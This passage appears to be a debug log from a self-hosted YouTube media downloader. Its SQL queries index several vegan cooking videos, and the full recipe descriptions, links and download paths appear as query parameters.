kalamata olives, fresh or sundried tomatoes, cucumbers, bell peppers, red onion. Serve and enjoy!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0 )\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be you (truncated) 20:31:08.281 [debug] QUERY OK source="sources" db=0.9ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.283 [debug] QUERY OK source="media_items" db=2.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 00:00:00Z], 1] 20:31:08.286 [debug] QUERY OK source="media_items" db=1.8ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you what I eat in a day as a vegan! I’m recipe testing 3 easy, budget-friendly delicious vegan meal ideas that I think you will totally LOVE!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST | Vegan gluten-free French toast 🍞\n\nIngredients:\n6 to 8 slices bread, vegan and GF\n¼ cup tapioca or corn starch\n1 cup plant milk (I used soy)\n2 tsp maple syrup\n1 tsp cinnamon\n1½ tsp ground flax seed\n1 tsp vanilla extract\n¼ tsp salt\n1 tsp baking powder\n\n1. In a shallow dish whisk all the dry ingredients until combined, then add the remaining wet ingredients and whisk once again until you have a uniform mixture. Let stand for 5 minutes to allow the flax to thicken slightly.\n2. Heat some vegan butter or coconut oil in a hot skillet on medium-high heat. Dip the slices of bread in the liquid batter, turning to each side and letting any excess drip off. Place the bread in the hot skillet and cook on each side for 2 to 3 minutes, until golden and the edges turn slightly crispy, and the middle still moist and slightly soft.\n3. Serve with maple syrup, coconut whipped cream, icing sugar, fresh fruit or any of your favourite toppings!\n\nLUNCH | Quinoa Taco Casserole 🌮\n\nIngredients:\n1½ cups cooked quinoa (day old is preferable)\n1 can black beans, drained and rinsed\n1 tsp cumin\n¾ cup taco sauce\n1½ cups salsa\nJuice of 1 lime\n1 cup frozen corn\n1 poblano pepper or 2 jalapeños, de-seeded and chopped\n1½ cups cherry tomatoes, halved\n1 cup vegan cheddar cheese shreds\n2 green onions, diced\n2 cups crushed tortilla chips\nSalt and pepper to taste\n\n1. Warm 1 tbsp oil in a hot skillet, medium-high heat. Add the quinoa, black beans, cumin and taco sauce and stir to evenly combine. Heart through for 2-3 minutes. Add the frozen corn and chopped poblano pepper and cook for 3 to 4 minutes further.\n2. In a casserole dish, crumble the tortilla chips to create a layer in the bottom. Add the cooked quinoa mixture on top, spreading into an even layer.\n3. Spread the salsa on top followed by the diced green onion and vegan cheese, finishing the last layer off with the halved tomatoes. \n4. Bake for 35-40 minutes at 350°F (325°F if using convection) until the cheese has melted and the casserole has turned golden around the edges.\n5. Serve with vegan sour cream, sliced avocado and tortilla chips.\n\nDINNER | Mediterranean Pasta Salad 🥗\n\nIngredients:\n1 package pasta of choice, cooked according to package instructions\n1 small crown broccoli\n1 cup halved cherry tomatoes\n1 bell pepper, diced\n½ a cucumber, diced\n¾ cup pitted/halved Kalamata olives\n3 green onions, diced\n\nIngredients for Sun-dried tomato basil vinaigrette \n½ cup sun-dried tomatoes, sliced\n¾ cup olive oil\n¼ cup balsamic vinegar\n⅓ cup fresh basil leaves, roughly chopped\n\n1. For the vinaigrette: in an immersion blender (or high-speed blender jug) add the basil leaves, sun-dried tomatoes and 2 tbsp water and pulse a few times until a paste begins to form.\n2. Slowly add in the oil, pulsing until begins to emmulsify. Add the balsamic vinegar, salt and pepper to taste, and ½ cup water and blend until smooth. Add up to another ½ cup water if the consistency is too thick for your liking.\nTo a large bowl add the cooked and chilled pasta noodles and all chopped veggies. Stir to combine, then pour in about 1 cup of the vinaigrette and stir to combine. Taste, adjust salt and pepper if needed and add more dressing if desired. Chill for 1 hour before serving and enjoy!\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-fr" <> ..., "VEGAN What I Eat In a Day | Recipe testing 3 easy, budget-friendly meals", "12fbb4e0-4f8a-4117-b642-5b26a86eab68", 1, [], false, "UhDIAs3sbOk", "https://www.youtube.com/watch?v=UhDIAs3sbOk", 299, "/downloads/downloads/alec/Steamy Vegan/2023-06-01 VEGAN What I Eat In a Day | Recipe testing 3 easy, budget-friendly meals/VEGAN What I Eat In a Day | Recipe testing 3 easy, budget-friendly meals [UhDIAs3sbOk].NA", false, false, false, 1, ~U[2023-06-01 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I’m showing you what I eat in a day as a vegan! I’m recipe testing 3 easy, budget-friendly delicious vegan meal ideas that I think you will totally LOVE!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST | Vegan gluten-free French toast 🍞\n\nIngredients:\n6 to 8 slices bread, vegan and GF\n¼ cup tapioca or corn starch\n1 cup plant milk (I used soy)\n2 tsp maple syrup\n1 tsp cinnamon\n1½ tsp ground flax seed\n1 tsp vanilla extract\n¼ tsp salt\n1 tsp baking powder\n\n1. In a shallow dish whisk all the dry ingredients until combined, then add the remaining wet ingredients and whisk once again until you have a uniform mixture. Let stand for 5 minutes to allow the flax to thicken slightly.\n2. Heat some vegan butter or coconut oil in a hot skillet on medium-high heat. Dip the slices of bread in the liquid batter, turning to each side and letting any excess drip off. Place the bread in the hot skillet and cook on each side for 2 to 3 minutes, until golden and the edges turn slightly crispy, and the middle still moist and slightly soft.\n3. Serve with maple syrup, coconut whipped cream, icing sugar, fresh fruit or any of your favourite toppings!\n\nLUNCH | Quinoa Taco Casserole 🌮\n\nIngredients:\n1½ cups cooked quinoa (day old is preferable)\n1 can black beans, drained and rinsed\n1 tsp cumin\n¾ cup taco sauce\n1½ cups salsa\nJuice of 1 lime\n1 cup frozen corn\n1 poblano pepper or 2 jalapeños, de-seeded and chopped\n1½ cups cherry tomatoes, halved\n1 cup vegan cheddar cheese shreds\n2 green onions, diced\n2 cups crushed tortilla chips\nSalt and pepper to taste\n\n1. Warm 1 tbsp oil in a hot skillet, medium-high heat. Add the quinoa, black beans, cumin and taco sauce and stir to evenly combine. Heart through for 2-3 minutes. Add the frozen corn and chopped poblano pepper and cook for 3 to 4 minutes further.\n2. In a casserole dish, crumble the tortilla chips to create a layer in the bottom. Add the cooked quinoa mixture on top, spreading into an even layer.\n3. Spread the salsa on top followed by the diced green onion and vegan cheese, finishing the last layer off with the halved tomatoes. \n4. Bake for 35-40 minutes at 350°F (325°F if using convection) until the cheese has melted and the casserole has turned golden around the edges.\n5. Serve with vegan sour cream, sliced avocado and tortilla chips.\n\nDINNER | Mediterranean Pasta Salad 🥗\n\nIngredients:\n1 package pasta of choice, cooked acco (truncated) 20:31:08.287 [debug] QUERY OK source="sources" db=0.6ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.289 [debug] QUERY OK source="media_items" db=1.8ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-22 00:00:00Z], 1] 20:31:08.291 [debug] QUERY OK source="media_items" db=1.4ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This is what I eat on a hot day as a vegan! Nobody likes having to cook when it's hot out so I made these simple vegan, gluten-free meals that were very yummy, required minimal effort and were nice and refreshing! \n\nThere's so many delicious plant-based alternatives to your favourite meals and snacks. Craving something eggy? 🥚 Make some Tofu 'Egg' Salad ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0). How about chicken salad? 🍗 I gotchu, try my Vegan Chicken Salad ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0) Okay but what about Caesar Salad?! 🥗 Yup, I have a recipe for that too ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0)\n\nI make and eat these quick and delicious everyday meals... literally EVERY DAY! And you can, too. 😉\n\nBREAKFAST | Smoothie Bowl (for 2)\n2½ cups frozen blueberries\n2 tbsp ground flax seeds\n2 to 3 tbsp coconut cream or plant-based yogurt\n½ to ¾ cups plant milk\n1 scoop vanilla protein powder\n\nBLEND UNTIL THICK! And top with your choice of fresh fruit, nut butter, seeds, coconut, etc\n\nSNACK | Vegan cream cheese, crackers and tofu 'egg' salad\nRecipe for egg salad here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\n\nLUNCH | More tofu 'egg' salad on toast with fresh mango 🥭 and cucumber 🥒\n\nDINNER | Broccoli, Chickpea and Quinoa Salad\n1 head broccoli, chopped finely\n1½ cups canned chickpeas\n½ red onion, finely diced\n2 stalks celery, finely diced\n1½ cups cooked leftover quinoa (could use brown rice, millet or other grain of choice)\n3 tbsp vegan mayo\n2 tbsp grainy dijon mustard\n¼ cup sweet green relish\n2 tsp garlic powder\nsalt and pepper to taste\n\nAdd all prepared ingredients to a large bowl and mix until it's very well combined. Serve on a bed of greens or enjoy by the bowlful as is!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\nMusic by frumhere, kevatta - a lover's wishlist - https://thmatc.co/?l=7143D012", "VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals", "18132522-83b2-4c7a-a320-56508152283e", 1, [], false, "6A4Y9lrNhlM", "https://www.youtube.com/watch?v=6A4Y9lrNhlM", 300, "/downloads/downloads/alec/Steamy Vegan/2023-05-22 VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals/VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals [6A4Y9lrNhlM].NA", false, false, false, 1, ~U[2023-05-22 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This is what I eat on a hot day as a vegan! Nobody likes having to cook when it's hot out so I made these simple vegan, gluten-free meals that were very yummy, required minimal effort and were nice and refreshing! \n\nThere's so many delicious plant-based alternatives to your favourite meals and snacks. Craving something eggy? 🥚 Make some Tofu 'Egg' Salad ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0). How about chicken salad? 🍗 I gotchu, try my Vegan Chicken Salad ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0) Okay but what about Caesar Salad?! 🥗 Yup, I have a recipe for that too ➡️ (\u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0)\n\nI make and eat these quick and delicious everyday meals... literally EVERY DAY! And you can, too. 😉\n\nBREAKFAST | Smoothie Bowl (for 2)\n2½ cups frozen blueberries\n2 tbsp ground flax seeds\n2 to 3 tbsp coconut cream or plant-based yogurt\n½ to ¾ cups plant milk\n1 scoop vanilla protein powder\n\nBLEND UNTIL THICK! And top with your choice of fresh fruit, nut butter, seeds, coconut, etc\n\nSNACK | Vegan cream cheese, crackers and tofu 'egg' salad\nRecipe for egg salad here ➡️ \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\n\nLUNCH | More tofu 'egg' salad on toast with fresh mango 🥭 and cucumber 🥒\n\nDINNER | Broccoli, Chickpea and Quinoa Salad\n1 head broccoli, chopped finely\n1½ cups canned chickpeas\n½ red onion, finely diced\n2 stalks celery, finely diced\n1½ cups cooked leftover quinoa (could use brown rice, millet or other grain of choice)\n3 tbsp vegan mayo\n2 tbsp grainy dijon mustard\n¼ cup sweet green relish\n2 tsp garlic powder\nsalt and pepper to taste\n\nAdd all prepared ingredients to a large bowl and mix until it's very well combined. Serve on a bed of greens or enjoy by the bowlful as is!\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\nMusic by frumhere, kevatta - a lover's wishlist - https://thmatc.co/?l=7143D012", "VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals", 1, nil, false, "6A4Y9lrNhlM", "https://www.youtube.com/watch?v=6A4Y9lrNhlM", "/downloads/downloads/alec/Steamy Vegan/2023-05-22 VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals/VEGAN What I Eat on a HOT DAY 🥵 SIMPLE vegan, gluten-free meals (truncated) 20:31:08.291 [debug] QUERY OK source="sources" db=0.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.293 [debug] QUERY OK source="media_items" db=1.6ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 00:00:00Z], 1] 20:31:08.295 [debug] QUERY OK source="media_items" db=1.2ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Vegan Caesar Salad Recipe is the perfect warm weather lunch, side or snack! It's vegan, gluten-free and uses only 5 budget-friendly ingredients that are accessible and DELICIOUS! 🥗\n\nUse this vegan caesar salad dressing for (you guessed it!) salads, dips and marinades. It has a terrific brininess, tang and peppery flavour that is a MUST for caesar dressing, and the recipe can be easily doubled or tripled to have in your fridge for weeks of delicious meals!\n\nMade this recipe and LOVED it? LIKE this video and SUBSCRIBE to Steamy Vegan Kitchen for tons more simple and delicious vegan inspiration!\n\nVEGAN CAESAR DRESSING\n¼ cup drippy tahini\njuice of ½ a lemon\n1 tsp dijon mustard\n2 tsp capers, finely minced\n1 clove of garlic, finely minced\nwater to thin out as needed\nsalt and pepper to taste\n\nIn a large bowl or jar, add all the ingredients and whisk until it emulsifies and is a lovely creamy texture. Add 1 tbsp of water at a time as needed to thin out the dresing to your liking.\n\nIf making a caesar salad, add 2 to 3 chopped romaine hearts directly into the bowl on top of the dressing and toss well to combine! Enjoy with croutons, vegan parmesan or try making your own crispy tofu croutons using this recipe right here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Way\u00A0to\u00A0Cook\u00A0Tofu\u00A0|\u00A0How\u00A0to\u00A0make\u00A0to...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Aixie - Hazy Days - https://thmatc.co/?l=11E00FD9\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Vegan Caesar Salad Recipe", "c65b9fd1-77ae-4478-b3ee-6bca890751d8", 1, [], false, "noBiufrdqRs", "https://www.youtube.com/watch?v=noBiufrdqRs", 301, "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Vegan Caesar Salad Recipe/Vegan Caesar Salad Recipe [noBiufrdqRs].NA", false, false, false, 2, ~U[2023-05-18 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This Vegan Caesar Salad Recipe is the perfect warm weather lunch, side or snack! It's vegan, gluten-free and uses only 5 budget-friendly ingredients that are accessible and DELICIOUS! 🥗\n\nUse this vegan caesar salad dressing for (you guessed it!) salads, dips and marinades. It has a terrific brininess, tang and peppery flavour that is a MUST for caesar dressing, and the recipe can be easily doubled or tripled to have in your fridge for weeks of delicious meals!\n\nMade this recipe and LOVED it? LIKE this video and SUBSCRIBE to Steamy Vegan Kitchen for tons more simple and delicious vegan inspiration!\n\nVEGAN CAESAR DRESSING\n¼ cup drippy tahini\njuice of ½ a lemon\n1 tsp dijon mustard\n2 tsp capers, finely minced\n1 clove of garlic, finely minced\nwater to thin out as needed\nsalt and pepper to taste\n\nIn a large bowl or jar, add all the ingredients and whisk until it emulsifies and is a lovely creamy texture. Add 1 tbsp of water at a time as needed to thin out the dresing to your liking.\n\nIf making a caesar salad, add 2 to 3 chopped romaine hearts directly into the bowl on top of the dressing and toss well to combine! Enjoy with croutons, vegan parmesan or try making your own crispy tofu croutons using this recipe right here ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Way\u00A0to\u00A0Cook\u00A0Tofu\u00A0|\u00A0How\u00A0to\u00A0make\u00A0to...\u00A0\u00A0\n\nNew to eating plant-based? Check out my TOP VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTOP 10 VEGAN FOOD HACKS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0FOOD\u00A0HACKS!\u00A0Vegan\u00A0hacks\u00A0you\u00A0need\u00A0to\u00A0...\u00A0\u00A0\n\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Aixie - Hazy Days - https://thmatc.co/?l=11E00FD9\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Vegan Caesar Salad Recipe", 1, nil, false, "noBiufrdqRs", "https://www.youtube.com/watch?v=noBiufrdqRs", "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Vegan Caesar Salad Recipe/Vegan Caesar Salad Recipe [noBiufrdqRs].NA", false, ~U[2023-05-18 00:00:00Z]] 20:31:08.296 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.297 [debug] QUERY OK source="media_items" db=1.6ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-14 00:00:00Z], 1] 20:31:08.300 [debug] QUERY OK source="media_items" db=1.6ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I've been testing out this vegan GF strawberry rhubarb crumble recipe and it's incredible!!! You absolutely must make this healthy and easy strawberry rhubarb crumble. It's the perfect time of year for it and you can whip it up in no time at all. 🍓\n\nIf you're looking for some other pie recipes to use up some of your berries then don't forget to check out these two recipes I did last year:\n1. Strawberry Rhubarb Pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n2. Quick and Easy Blueberry Jam Pie: \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\n\nSTRAWBERRY RHUBARB 